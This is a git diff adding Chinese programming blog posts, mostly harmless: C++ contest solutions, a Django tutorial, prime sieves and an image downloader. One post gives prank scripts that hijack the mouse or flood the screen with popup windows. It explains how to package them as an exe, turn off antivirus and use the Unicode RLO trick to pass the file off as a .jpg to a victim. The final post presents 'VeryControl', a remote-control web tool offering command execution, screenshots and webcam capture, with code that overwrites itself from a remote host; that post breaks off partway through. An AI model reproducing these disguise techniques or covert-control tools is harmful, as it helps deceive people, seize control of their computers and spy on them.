"b/\346\235\245\350\207\252\346\210\221\347\232\204\347\245\235\347\246\217.md" new file mode 100644 index 0000000..067c489 --- /dev/null +++ "b/\346\235\245\350\207\252\346\210\221\347\232\204\347\245\235\347\246\217.md" @@ -0,0 +1,38 @@ +大家好,今天是除夕,在开始写代码以前,先跟大家说一声**新年快乐**。希望大家在新的一年里阖家欢乐,万事如意! + +
+ +今天是除夕,明天是春节,在此特意奉上一段代码作为新年祝福,请查收: + +```python +from tkinter import Tk,Label +from random import randint,choice +from threading import Thread +from time import sleep + +threads = [] +record = 0 + +def create(): + window = Tk() + window.resizable(0,0) + window.title('新年快乐') + + letter = ['迎春接福','喜迎新春','恭喜发财','吉星高照','八方来财'] #祝福语,可以自定义 + width = window.winfo_screenwidth() + height = window.winfo_screenheight() + x = randint(0,width) + y = randint(0,height) + + window.geometry("225x50" + "+" + str(x) + "+" + str(y)) + Label(window,text = choice(letter),bg = 'red',fg = 'white',font = ('华文新魏',17,'bold'),width = 15, height = 2).pack() + window.mainloop() + +while True: + t = Thread(target = create) + threads.append(t) + sleep(0.1) + threads[record].start() + record += 1 +``` + diff --git "a/\346\237\220\344\270\211\344\275\215\346\225\260\351\231\244\344\273\24510\344\275\2319\343\200\201\351\231\244\344\273\2459\344\275\2318\343\200\201\351\231\244\344\273\2458\344\275\2317.md" "b/\346\237\220\344\270\211\344\275\215\346\225\260\351\231\244\344\273\24510\344\275\2319\343\200\201\351\231\244\344\273\2459\344\275\2318\343\200\201\351\231\244\344\273\2458\344\275\2317.md" new file mode 100644 index 0000000..caec197 --- /dev/null +++ "b/\346\237\220\344\270\211\344\275\215\346\225\260\351\231\244\344\273\24510\344\275\2319\343\200\201\351\231\244\344\273\2459\344\275\2318\343\200\201\351\231\244\344\273\2458\344\275\2317.md" @@ -0,0 +1,26 @@ +昨天刷卷子的时候遇到了一道题: +> 某三位自然数,除以10余9、除以9余8、除以8余7,求共有几个这样的自然数( )。 +> A.2 B.3 C.4 D.5 + +**当时我就愉快地选择了B选项,于是成功地得到了老师的一个鲜红的大叉叉。** + +说实话,我当时还真没有想出来,回家用C++做了一下。然后我搜了一下这个题, +![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/3f633c73afb24ba19464ca3ec47d30b5.png?x-oss-process=image/watermark,type_ZHJvaWRzYW5zZmFsbGJhY2s,shadow_50,text_Q1NETiBA5r2Y6YGT54a5,size_20,color_FFFFFF,t_70,g_se,x_16) +瞬间明白,用C++算算 +![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/5062b6375e4d4520ab42149499c1c9ad.png?x-oss-process=image/watermark,type_ZHJvaWRzYW5zZmFsbGJhY2s,shadow_50,text_Q1NETiBA5r2Y6YGT54a5,size_20,color_FFFFFF,t_70,g_se,x_16) +![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/63c6a3dbd6ce45f4a52a4e38966d986e.png?x-oss-process=image/watermark,type_ZHJvaWRzYW5zZmFsbGJhY2s,shadow_50,text_Q1NETiBA5r2Y6YGT54a5,size_20,color_FFFFFF,t_70,g_se,x_16) +C++多简单啊,直接一个遍历就解决了 + +```cpp +#include +using namespace std; +int main(){ + int sum=0; + for(int i=100;i<=1000;i++){ + if(i%10==9&&i%9==8&&i%8==7) {cout< +using namespace std; +int ans=0; +double num[11],sum=0; +bool visit[11]; // 标记使用 +void dfs(int index){ // 深搜 + if(index==10){ + sum=num[1]+num[2]/num[3]+(num[4]*100+num[5]*10+num[6])/(num[7]*100+num[8]*10+num[9]); + if(sum==10) ans++; + return; + } + for(int i=1;i<10;i++){ + if(!visit[i]){ + visit[i]=true; + num[index]=i; + dfs(index+1); + visit[i]=false; + } + } +} +int main(){ + visit[0]=true; + dfs(1); + cout< +#include +using namespace std; +int flag[3][4]; +int mpt[3][4]; +bool visit[10]; +int dir[8][2]={0,1,0,-1,1,0,-1,0,1,1,1,-1,-1,1,-1,-1}; +int ans=0; +bool Solve(){ + for(int i=0;i<3;i++){ + for(int j=0;j<4;j++){ + if(flag[i][j]==0) continue; + for(int k=0;k<8;k++){ + int x,y; + x=i+dir[k][0]; + y=j+dir[k][1]; + if(x<0||x>=3||y<0||y>=4||flag[x][y]==0) continue; + if(abs(mpt[x][y]-mpt[i][j])==1) return false; + } + } + } + return true; +} +void dfs(int x,int y){ + if(x==2&&y==3){ + if(Solve()) ans++; + return; + } + for(int i=0;i<10;i++){ + if(!visit[i]){ + visit[i]=true; + mpt[x][y]=i; + if(y+1<4) dfs(x,y+1); + else dfs(x+1,0); + visit[i]=false; + } + } +} +int main(){ + for(int i=0;i<3;i++){ + for(int j=0;j<4;j++){ + flag[i][j]=1; + } + } + flag[0][0]=0; + flag[2][3]=0; + dfs(0,1); + cout< +现在我们输入命令: + +```powershell +django-admin startproject hw +``` + +`hw`是这个项目的名字。我们打开这个文件夹,发现其目录是这样的: +```python +D:. +└─hw + │ manage.py + │ + └─hw + asgi.py + settings.py + urls.py + wsgi.py + __init__.py + +``` +现在,我们打开`hw\hw\urls.py`,发现其内容如下: + +```python +"""hw URL Configuration + +The `urlpatterns` list routes URLs to views. For more information please see: + https://docs.djangoproject.com/en/3.1/topics/http/urls/ +Examples: +Function views + 1. Add an import: from my_app import views + 2. Add a URL to urlpatterns: path('', views.home, name='home') +Class-based views + 1. Add an import: from other_app.views import Home + 2. Add a URL to urlpatterns: path('', Home.as_view(), name='home') +Including another URLconf + 1. Import the include() function: from django.urls import include, path + 2. Add a URL to urlpatterns: path('blog/', include('blog.urls')) +""" +from django.contrib import admin +from django.urls import path + +urlpatterns = [ + path('admin/', admin.site.urls), +] + +``` +现在,让我们做个小小的改动: +(上面的注释是帮助) +```python +from django.contrib import admin +from django.urls import path +from django.shortcuts import HttpResponse + +#注意参数request绝对不能少,少了就报错 +def mainPage(request): + #直接返回代码 + return HttpResponse('
Hello,World!
') + +def hw(request): + return HttpResponse('

你好,世界!

') + +urlpatterns = [ + path('',mainPage), + path('hw/',hw), +] +``` +现在,让我们打开命令提示符,切换到当前目录,输入代码如下: + +```python +python manage.py runserver 127.0.0.1:8000 +``` +如果得到以下反馈: + +```python +You have 18 unapplied migration(s). Your project may not work properly until you apply the migrations for app(s): admin, auth, contenttypes, sessions. +Run 'python manage.py migrate' to apply them. +January 10, 2021 - 09:37:22 +Django version 3.1.4, using settings 'hw.settings' +Starting development server at http://127.0.0.1:8000/ +Quit the server with CTRL-BREAK. +``` +那么说明运行成功! +请打开上面提示的链接:`127.0.0.1:8000` +![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/20210110093907696.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L1BhbkRhb3hpMjAyMA==,size_16,color_FFFFFF,t_70) +成功!再看`127.0.0.1:8000/hw`: +![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/20210110093952335.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L1BhbkRhb3hpMjAyMA==,size_16,color_FFFFFF,t_70) +完事! diff --git "a/\347\262\211\344\270\235\347\246\217\345\210\251\342\200\224\342\200\224\344\272\214\346\254\241\345\205\203\345\233\276\347\211\207\345\261\225\347\244\272\357\274\210\345\261\217\344\277\235\357\274\211.md" "b/\347\262\211\344\270\235\347\246\217\345\210\251\342\200\224\342\200\224\344\272\214\346\254\241\345\205\203\345\233\276\347\211\207\345\261\225\347\244\272\357\274\210\345\261\217\344\277\235\357\274\211.md" new file mode 100644 index 0000000..679fb5c --- /dev/null +++ "b/\347\262\211\344\270\235\347\246\217\345\210\251\342\200\224\342\200\224\344\272\214\346\254\241\345\205\203\345\233\276\347\211\207\345\261\225\347\244\272\357\274\210\345\261\217\344\277\235\357\274\211.md" @@ -0,0 +1,165 @@ +又到了粉丝福利分享时间啦!今天我们来用Python敲一个屏保程序,用到了API端口相关的知识,您可以翻下我以前的文章,有相关内容。 +这个是我同学让我做的,我本不想做,但中午的时间,闲着归闲着,我还能白赚一个人情,何乐而不为? +这个东西做着很简单。 +程序的端口是`https://www.dmoe.cc/random.php`,也是这位谪仙人给的。需要一个参数:`return=json`。说明文档见:`https://www.dmoe.cc/random.php`。 + +```python +卷 Data 的文件夹 PATH 列表 +卷序列号为 90AF-CB35 +D:. +│ 图片展示.py +│ +└─temp +``` +直接敲程序,还需要一个名为`temp`的文件夹。 +请提前安装`requests`、`pygame`模块。 + +首先放出备用程序: + +```python +from requests import get +from json import dumps +from random import randint +import pygame +from pygame.locals import * + +url = 'https://www.dmoe.cc/random.php' +params = {'return':'json'} +response = get(url,params).json() +width,height,img = int(response['width']),int(response['height']),response['imgurl'] + +content = get(img) +number = randint(100000,999999) +with open('temp/%d.jpg' % number,'wb') as f: + f.write(content.content) + +pygame.init() +canvas = pygame.display.set_mode((width,height)) +canvas.fill((255,255,255)) +pygame.display.set_caption('Show') + +def handle(): + for event in pygame.event.get(): + if event.type == QUIT or (event.type == KEYDOWN and event.key == K_ESCAPE): + pygame.quit() + exit() + +background = pygame.image.load('temp/%d.jpg' % number) +while True: + canvas.blit(background,(0,0)) + handle() + pygame.display.update() +``` +Okay,这里就不展示了,就是一个简单的屏保效果,关闭请ESC键。 + +再放出真实程序: + +小歪API,`https://api.ixiaowai.cn/api/api.php`,直接发`get`请求即可,可以用Postman/APIfox调试。 +![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/d9b22ef651d842cbabf34e51b5b51272.png?x-oss-process=image/watermark,type_d3F5LXplbmhlaQ,shadow_50,text_Q1NETiBA5r2Y6YGT54a5,size_20,color_FFFFFF,t_70,g_se,x_16) + +```python +from requests import get +from json import dumps +from random import randint +import pygame +from pygame.locals import * + +content = get('https://api.ixiaowai.cn/api/api.php') +number = randint(100000,999999) +with open('temp/%d.jpg' % number,'wb') as f: + f.write(content.content) + +pygame.init() +canvas = pygame.display.set_mode((1920,1080)) +canvas.fill((255,255,255)) +pygame.display.set_caption('Show') + +def handle(): + for event in pygame.event.get(): + if event.type == QUIT or (event.type == KEYDOWN and event.key == K_ESCAPE): + pygame.quit() + exit() + +background = pygame.image.load('temp/%d.jpg' % number) +while True: + canvas.blit(background,(0,0)) + handle() + pygame.display.update() + +``` +更新: +想要会变化的?这里: + +```python +from requests import get +from json import dumps +from random import randint +import pygame +from pygame.locals import * + +#创建pygame窗口 +pygame.init() +canvas = pygame.display.set_mode((1920,1080)) +canvas.fill((255,255,255)) +pygame.display.set_caption('Show') + +#事件处理 +def handle(): + for event in pygame.event.get(): + if event.type == QUIT or (event.type == KEYDOWN and event.key == K_ESCAPE): + pygame.quit() + exit() + +while True: + #下载图片 + content = get('https://api.ixiaowai.cn/api/api.php') + number = randint(100000,999999) + with open('temp/%d.jpg' % number,'wb') as f: + f.write(content.content) + #装填图片 + background = pygame.image.load('temp/%d.jpg' % number) + canvas.blit(background,(0,0)) + #设置窗口 + handle() + pygame.display.update() + pygame.time.delay(5000) #秒数是多少,就写几千秒,这是五秒一换 +``` +图片下载器: + +```python +from requests import get # get请求方法 +from json import dumps # json序列处理 +from random import randint # 随机数 +from os.path import exists # 检测文件夹是否存在 +from os import mkdir # 创建文件夹 + +# 下载的爬虫 +def download(path): + url = "https://api.ixiaowai.cn/api/api.php" # 请求URL + content = get(url) # 发送网络请求 + number = randint(100000, 999999) # 生成随机数 + print("保存图片 >>> ./%s/%d.jpg" % (path, number)) # 输出保存信息 + with open("%s/%d.jpg" % (path, number), "wb") as f: # 保存图片信息 + f.write(content.content) + +# 主函数 +def main(path): + # 下载 + for i in range(1, int(input("您需要多少张图片 >>> ")) + 1): + download(path) + # 保留解释器窗口 + input("下载完成。") + +# 保存路径的程序 +if __name__ == "__main__": + try: # 包含异常 + folder = input("您需要将图片保存到哪里(输入相对路径) >>> ") + if exists(folder): # 有这个文件夹就直接保存 + main(folder) # 下载 + else: # 如果没有这个文件夹 + mkdir(folder) # 创建文件夹 + main(folder) # 下载 + except Exception as e: # 提取异常基类 + print("ERROR:%s" % e) # 输出异常 + +``` diff --git "a/\347\264\240\346\225\260\347\255\233\346\263\225\342\200\224\342\200\224\346\254\247\346\213\211\347\255\233.md" "b/\347\264\240\346\225\260\347\255\233\346\263\225\342\200\224\342\200\224\346\254\247\346\213\211\347\255\233.md" new file mode 100644 index 0000000..e4dfc66 --- /dev/null +++ "b/\347\264\240\346\225\260\347\255\233\346\263\225\342\200\224\342\200\224\346\254\247\346\213\211\347\255\233.md" @@ -0,0 +1,173 @@ +直接输出: +```cpp +// Author:PanDaoxi +#include +using namespace std; +const int INF = 1e8 + 1; +int prime[INF]; +bool vis[INF]; +int Euler(int n, int k=0){ + for(int i=2; i<=n; i++){ + if(vis[i] == 0) prime[k++] = i; + for(int j=0; j n) break; + vis[i*prime[j]] = true; + if(!(i%prime[j])) break; + } + } + return k; +} +int main(){ + int n = Euler(INF); + for(int i=0; i +using namespace std; +int n, q; +const int INF = 1e8 + 1; +int prime[INF]; +bool vis[INF]; +void Euler(int n, int k=0){ + for(int i=2; i<=n; i++){ + if(vis[i] == 0) prime[k++] = i; + for(int j=0; j n) break; + vis[i*prime[j]] = true; + if(!(i%prime[j])) break; + } + } +} +int main(){ + cin >> n >> q; + Euler(INF); + for(int i=0, x; i> x; + cout << prime[x-1] << endl; + } + return 0; +} +``` + +--- + +# 素数个数 + +## 题目描述 + +编程求 $2$ ~ $n(n$ 为大于 $2$ 的正整数)中有多少个素数。 + +## 输入格式 + +输入 $n(2 \le n \le 50000)$。 + +## 输出格式 + +素数个数。 + +## 样例 #1 + +### 样例输入 #1 + +``` +10 +``` + +### 样例输出 #1 + +``` +4 +``` + +![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/724d54b50146457fbaf7ca2889bd34be.png) + +```cpp +// Author:PanDaoxi +#include +using namespace std; + +const int INF = 5e4 + 1; +int prime[INF], n, m, ans; +bool vis[INF]; + +int Euler(int n, int k=0){ + for(int i=2; i<=n; i++){ + if(vis[i] == 0) prime[k++] = i; + for(int j=0; j n) break; + vis[i*prime[j]] = true; + if(!(i%prime[j])) break; + } + } + return k; +} + +int main(){ + ios :: sync_with_stdio(false); + cin.tie(0); + cout.tie(0); + + cin >> n; + cout << Euler(n); + return 0; +} +``` + diff --git "a/\347\274\226\347\250\213\346\225\231\350\202\262\346\234\272\346\236\204\346\265\213\350\257\225\351\242\230\357\274\2101\357\274\211.md" "b/\347\274\226\347\250\213\346\225\231\350\202\262\346\234\272\346\236\204\346\265\213\350\257\225\351\242\230\357\274\2101\357\274\211.md" new file mode 100644 index 0000000..9b14da7 --- /dev/null +++ "b/\347\274\226\347\250\213\346\225\231\350\202\262\346\234\272\346\236\204\346\265\213\350\257\225\351\242\230\357\274\2101\357\274\211.md" @@ -0,0 +1,141 @@ +在河北石家庄有一个编程教育机构(我不说叫什么了,缩写`hlbbc`),我现在还是童程童美的学员,但是童程童美是面向儿童的,今年九月我13岁,就超出年龄了😂。我的父母最近在四处给我找更专业的教育机构,我就负责做练习、考试…… + +这只是第一章,还会有第二章、第三章…… +我会把每一道题放到博客上,写一写题解,与他人一起学习! + +先说明啊,每一个题都是老师直接发我的,具体题目来源我也不清楚。题目都是复制的。 +![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/8726767c655842b692d3f1eaf80edac0.png) + +# 第一题 + +```cpp +【入门】纯粹素数 +题目描述 +纯粹素数是这样定义的:一个素数,去掉最高位,剩下的数仍为素数,再去掉剩下的数的最高位, +余下的数还是素数。这样下去一直到最后剩下的个位数也还是素数。 +求出所有小于3000的四位的纯粹素数。 +输入 +无 + +输出 +按从小到大的顺序输出若干个纯粹素数,每行一个。 +``` +这个不难啊,写一些基础的就出来了。 + +```cpp +// Author:PanDaoxi +#include +#include +using namespace std; +bool prime(int n){ + if(n==0||n==1) return false; + for(int i=2;i +#include +using namespace std; +int main(){ + char a[256],b; + int n=1; + cin>>a; + b=a[0]; + for(int i=0;i<=strlen(a);i++){ + if(a[i]==b){ + n++; + } + else if(a[i]!=b&&n==1){ + cout< +using namespace std; +int n,m=1; //从第二天开始算 +void f(){ + if(n==1) return; + else{ + m++; + n/=2; + f(); + } +} +int main(){ + cin>>n; + f(); + cout< +using namespace std; +int main(){ + int n,x,y,z; + cin>>n>>x>>y>>z; + cout< +using namespace std; +int main(){ + int n,m; + int youxiu=0,lianghao=0,jige=0,bujige=0; + cin>>n; + for(int i=0;i>m; + if(90<=m&&m<=100) youxiu++; + else if(80<=m&&m<=89) lianghao++; + else if(60<=m&&m<=79) jige++; + else bujige++; + } + cout< +#include +using namespace std; +int main(){ + int n,a[256]={},k=0,s=0; + char t[256]; + cin>>n; + for(int i=0;i>t; + for(int j=0;j +using namespace std; +int main(){ + int w,h,money=20,t=0; + int jiashou[7]={0,4,6,9,10,17}; + cin>>w>>h; + if(w<=500){ + cout<<20; + return 0; + } + else{ + if((w-500)%500==0) t=w/500; + else t=(w-500)/500+1; + money+=t*jiashou[h]; + } + cout< +#include +using namespace std; +int main(){ + int n,a[101]={},k=0,s1=0,s2=0; + char t[101]; + cin>>n; + for(int i=0;i>t; + for(int j=0;j=0;l--){ + if(l%2) s1+=a[l]; + else s2+=a[l]; + } + if(s1%11==s2%11) cout<<"Yes"< +using namespace std; +int main(){ + int a,b,c,alice=0,bob=0; + cin>>a>>b>>c; + alice=a*a; + bob=b*c; + cout<<(alice>bob?"Alice":"Bob")< +using namespace std; +int main(){ + long long a,b,c,alice=0,bob=0; + cin>>a>>b>>c; + alice=a*a; + bob=b*c; + cout<<(alice>bob?"Alice":"Bob")< + +# 开始写代码! +请注意:害人之心不可有,防人之心不可无。万万不可将下面的代码用于不法之途,以下代码仅用于学习交流! +
+ +## 如何操作 +### 先写代码 +创建一个空白的`python`文档,命名为`program.py`,输入以下代码: + +```python +from autopy import mouse +from tkinter import Tk +from random import randint + +window = Tk() +window.withdraw() + +width = window.winfo_screenwidth() +height = window.winfo_screenheight() + +while True: + try: + mouseX = randint(0,width) + mouseY = randint(0,height) + + mouse.move(mouseX,mouseY) + except: + pass +``` +只有十八行代码,但是可以让鼠标随机闪现,无法控制。 + +或者这个代码(参考到了[《用python实现祝福弹窗》](https://blog.csdn.net/qq_39046854/article/details/82831943)): + +```python +from tkinter import Tk,Label +from random import randint +from threading import Thread + +def create(): + window = Tk() + width = window.winfo_screenwidth() + height = window.winfo_screenheight() + x = randint(0,width) + y = randint(0,height) + window.title('中病毒快乐') + window.geometry("200x50" + "+" + str(x) + "+" + str(y)) + Label(window,text = '中病毒快乐!',bg = 'red',font = ('楷体', 17),width = 15, height = 2).pack() + window.mainloop() + +threads = [] +record = 0 +while True: + t = Thread(target = create) + threads.append(t) + threads[record].start() + record += 1 +``` +二十二行代码,不一会让你的电脑铺满窗口。 + +这段代码也可以: + +```python +from autopy import mouse +from random import randint +from time import sleep + +seconds = randint(1,600) #随机设定一个区间,你可以修改 + +while True: + try: + mouse.smooth_move(seconds,0) + mouse.click() + mouse.toggle(True) + mouse.toggle(False) + sleep(seconds) + except Exception as e: + pass +``` + +
+ +### 破解方法 +①重启电脑; +②打开命令提示符后输入`taskkill /im python.exe /f`,同样都可以结束。如果你的程序已经打包,那么代码写成`taskkill /im 你的程序名称.exe /f`即可。 + +
+ +## 打包、伪装 +#### 第一件事 +我们随便从网上下载一张图片吧,随便一张,比如说这个(来自`360图片`): +![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/20210208193858592.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L1BhbkRhb3hpMjAyMA==,size_16,color_FFFFFF,t_70) +下载下来后,将`.png`图片命名为`image.png`,图标命名为`icon.ico`,我们打开[图标转换器](https://www.aconvert.com/cn/icon/png-to-ico/),改为图标,两个文件都保存好。 + +创建一个文件夹,命名为`build`,将`image.png`剪切进去。 +#### 第二件事 +我们要先改下代码,加几行: + +```python +from os import system +system(r'call "build\image.png"') +``` +
+ +#### 第三件事 +打开命令提示符,切换到当前目录,输入以下代码: + +```python +pyinstaller -F program.py -w -i icon.ico +``` + +![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/20210208200900135.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L1BhbkRhb3hpMjAyMA==,size_16,color_FFFFFF,t_70) + +打包完成后,我们将应用程序剪切出来。注意,我们需要关掉所有的安全软件,改一下程序的名称: +![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/2021020820110292.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L1BhbkRhb3hpMjAyMA==,size_16,color_FFFFFF,t_70) +注意要选中完整的文件名称,包含拓展名,统统删掉,然后插入`Unicode`控制字符,选择里面的`RLO`一项,按照高亮的步骤操作,输入`gpj.exe`即可。 +只要对方不打开属性看,就很难发现这是一个应用程序。 +![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/20210208203218360.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L1BhbkRhb3hpMjAyMA==,size_16,color_FFFFFF,t_70) +还是那句话,**不要用于不法之途,仅供学习讨论**。 diff --git "a/\350\207\252\345\210\266\344\270\200\346\254\276\350\277\234\347\250\213\346\216\247\345\210\266\350\275\257\344\273\266\342\200\224\342\200\224VeryControl.md" "b/\350\207\252\345\210\266\344\270\200\346\254\276\350\277\234\347\250\213\346\216\247\345\210\266\350\275\257\344\273\266\342\200\224\342\200\224VeryControl.md" new file mode 100644 index 0000000..748bb7e --- /dev/null +++ "b/\350\207\252\345\210\266\344\270\200\346\254\276\350\277\234\347\250\213\346\216\247\345\210\266\350\275\257\344\273\266\342\200\224\342\200\224VeryControl.md" @@ -0,0 +1,568 @@ +注意,文中链接已经转移至[Github](https://github.com/PanDaoxi/very-control),原链接失效。 + +@[toc] + +# 前言 +**前排提醒:这篇文章有点儿长,如果直接想看效果可以[来此下载](https://pandaoxi.coding.net/public/pandaoxi/Projects/git/files/master/Very_Control),代码看看就行了。** +``` + _..._ .-'''-. .-'''-. + .-'_..._''. ' _ \ ' _ \ .---. + .----. .----. __.....__ .' .' '.\/ /` '. \ _..._ / /` '. \ | | + \ \ / /.-'' '. .-. .- / .' . | \ ' .' '. . | \ ' | | + ' '. /' // .-''"'-. `. .-,.--.\ \ / / . ' | ' | '. .-. . .| .-,.--. | ' | '| | + | |' // /________\ \| .-. |\ \ / / | | \ \ / / | ' ' | .' |_ | .-. |\ \ / / | | + | || || || | | | \ \ / / | | `. ` ..' / | | | | .' || | | | `. ` ..' / | | + '. `' .'\ .-------------'| | | | \ \ / / . ' '-...-'` | | | |'--. .-'| | | | '-...-'` | | + \ / \ '-.____...---.| | '- \ ` / \ '. . | | | | | | | | '- | | + \ / `. .' | | \ / '. `._____.-'/ | | | | | | | | | | + '----' `''-...... -' | | / / `-.______ / | | | | | '.'| | '---' + |_| |`-' / ` | | | | | / |_| + '..' '--' '--' `'-' + +``` +
VeryControl 软件的 Logo
+
+ +我最近多少有点儿闲得慌,前两天出去玩儿了一圈,路上就一直盘算着这事儿,前两天做了个雏形,今天完善好了,分享给大家一起看着玩儿。 + +这个程序感觉还凑合,制作了一个网页端。虽然设计不咋样吧(我是初学者),但是至少能在手机、电脑等各种设备上成功访问并进行远程命令执行。 + +用到的语言是 $Python$ 和 $HTML$,使用了 $Django$ 框架,及一些其他的小功能。 + +软件截图: ![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/5341c25dea4f43968882cca2a9edd0d7.jpeg) +# 软件下载 +> 建议阅读里面的注意事项,很重要。 + +软件下载地址: +软件官方网站: + +![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/e11873091ec445089515cef422062638.jpeg) + +# 代码展示 +让我们一起来看看这个小项目的源代码叭~ + +![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/02d90a09ab394aab8a3b36b4312112ae.gif) +## $HTML$ 前端部分 +$HTML$ 部分主要是客户端的一些东西,直接在网页上访问,并传回相应的内容给后端 $API$ 。 +### 1.客户端主页 +最基本的内容,可以直接在主页填写命令的表单,然后 $POST$ 给后端的 $API$ `/run`。 + +$$ +\begin{cases} + & \text command=普通执行命令 \\ + & \text echo=输入命令,并返回输出内容 \\ + & \text code=执行批处理命令 \\ + & \text runf=运行应用程序(需要应用程序提交工具) \\ +\end{cases} +$$ + +```html + +Very Control + + + +
+ +
+

Very Control 多对一远程控制平台

+

输入命令:

+

带有回显的命令: +

提交批处理文件的源代码:

+

+

或者使用应用程序提交工具

+ +
+

+

当前软件信息:

+

版本: 1.3.0.0 [2022-7-22 Update]

+

开发者:PanDaoxi

+

开源地址:点击这里去访问

+

开发者邮箱(欢迎意见反馈和技术支持):

+
+
+ +

其他功能:截取屏幕 查看被控制者信息 捕获摄像头 发送消息 阅读官方通知

+``` +### 2.拍照、截图 + +> 这两个功能的页面基本相同。 + +![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/3e75ad6375754a9bbec428718f0b4cbc.png) + +```html + +摄像头捕获 +
+ + 摄像头捕获 +

+

该功能可能会比较卡顿;如果不能正常显示出摄像头图像,可能是因为被控制设备的摄像头无法访问。

+

+ 回到主页 重新拍照 +
+``` + +```html +Screen Shot +
+ + 截图 +


+ 回到主页 重新截图 +
+``` + +## $Python$ 后端部分 +目录树: + +```python +D:. +│ db.sqlite3 +│ main.py +│ manage.py +│ +└─VeryControl + asgi.py + settings.py + urls.py + wsgi.py + __init__.py +``` +我特意给它做了一个[应用程序版](https://pandaoxi.coding.net/p/pandaoxi/d/Projects/git/raw/master/Very_Control/VeryControl_Server.exe)的,内置 第 $1.3.0.0$ 的服务器版本 它会自己更新,不用管它。 +![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/8ea6ca2342cd496ea367d64659817a1e.png) + + ### 1. $/main.py$ + + +> 这个程序的主要功能是: +> - 绘制 $LOGO$ 。😉 +> - 生成服务器,使得前端可以访问。😊 +> - 检查是否有更新,如果没有直接运行服务器;如果有,就强制更新。😑 +>
+> 第三条性质感觉有那么一种 $Windows$ 的传奇色彩~ 😂 + +```python +# Copyright 2022 by PanDaoxi. All rights reserved. +from socket import socket, AF_INET, SOCK_DGRAM +from os import system, name +from time import strftime, sleep +from colorama import init, Fore, Back +from requests import get + +version = "1.3.5.0" +updateFiles = { + "./manage.py": "https://pandaoxi-project.github.io/very-control/Very_Control/manage.py", + __file__: "https://pandaoxi-project.github.io/very-control/Very_Control/main.py", + "./VeryControl/asgi.py": "https://pandaoxi-project.github.io/very-control/Very_Control/VeryControl/asgi.py", + "./VeryControl/settings.py": "https://pandaoxi-project.github.io/very-control/Very_Control/VeryControl/settings.py", + "./VeryControl/urls.py": "https://pandaoxi-project.github.io/very-control/Very_Control/VeryControl/urls.py", + "./VeryControl/wsgi.py": "https://pandaoxi-project.github.io/very-control/Very_Control/VeryControl/wsgi.py", +} +headers = { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.5060.66 Safari/537.36 Edg/103.0.1264.44", +} + +def update(): + for i in updateFiles.keys(): + with open(i, "wb") as f: + f.write(get(updateFiles[i], headers=headers).content) + sleep(0.3) + +def getIP(): + try: + sock = socket(AF_INET, SOCK_DGRAM) + sock.connect(("8.8.8.8", 80)) + ip = sock.getsockname()[0] + finally: + sock.close() + return ip + +if __name__ == "__main__" and name == "nt": + temp = get('https://pandaoxi-project.github.io/very-control/Very_Control/VeryControl/VERSION',headers=headers) + temp.encoding = 'utf-8' + latest = temp.text + if latest != version: + print('Please wait a moment, we are updating the software for you ...') + update() + system('cls') + print( + """ _..._ .-\'\'\'-. .-\'\'\'-. + .-'_..._''. ' _ \ ' _ \ .---. + .----. .----. __.....__ .' .' '.\/ /` '. \ _..._ / /` '. \ | | + \ \ / /.-'' '. .-. .- / .' . | \ ' .' '. . | \ ' | | + ' '. /' // .-''"'-. `. .-,.--.\ \ / / . ' | ' | '. .-. . .| .-,.--. | ' | '| | + | |' // /________\ \| .-. |\ \ / / | | \ \ / / | ' ' | .' |_ | .-. |\ \ / / | | + | || || || | | | \ \ / / | | `. ` ..' / | | | | .' || | | | `. ` ..' / | | + '. `' .'\ .-------------'| | | | \ \ / / . ' '-...-'` | | | |'--. .-'| | | | '-...-'` | | + \ / \ '-.____...---.| | '- \ ` / \ '. . | | | | | | | | '- | | + \ / `. .' | | \ / '. `._____.-'/ | | | | | | | | | | + '----' `''-...... -' | | / / `-.______ / | | | | | '.'| | '---' + |_| |`-' / ` | | | | | / |_| + '..' '--' '--' `'-' \n\n""" + ) + + init(autoreset=True) + print( + "Welcome to Very_Control !\nControlled end:", + Fore.RED + "http://%s:%s/\n" % (getIP(), strftime("%Y")), + ) + system("python manage.py runserver %s:%s" % (getIP(), strftime("%Y"))) + input() +``` +### 2. $/VeryControl/urls.py$ +这是服务器的核心,我们靠它进行一系列的控制。 + +```python +from django.urls import path as site +from django.shortcuts import HttpResponse 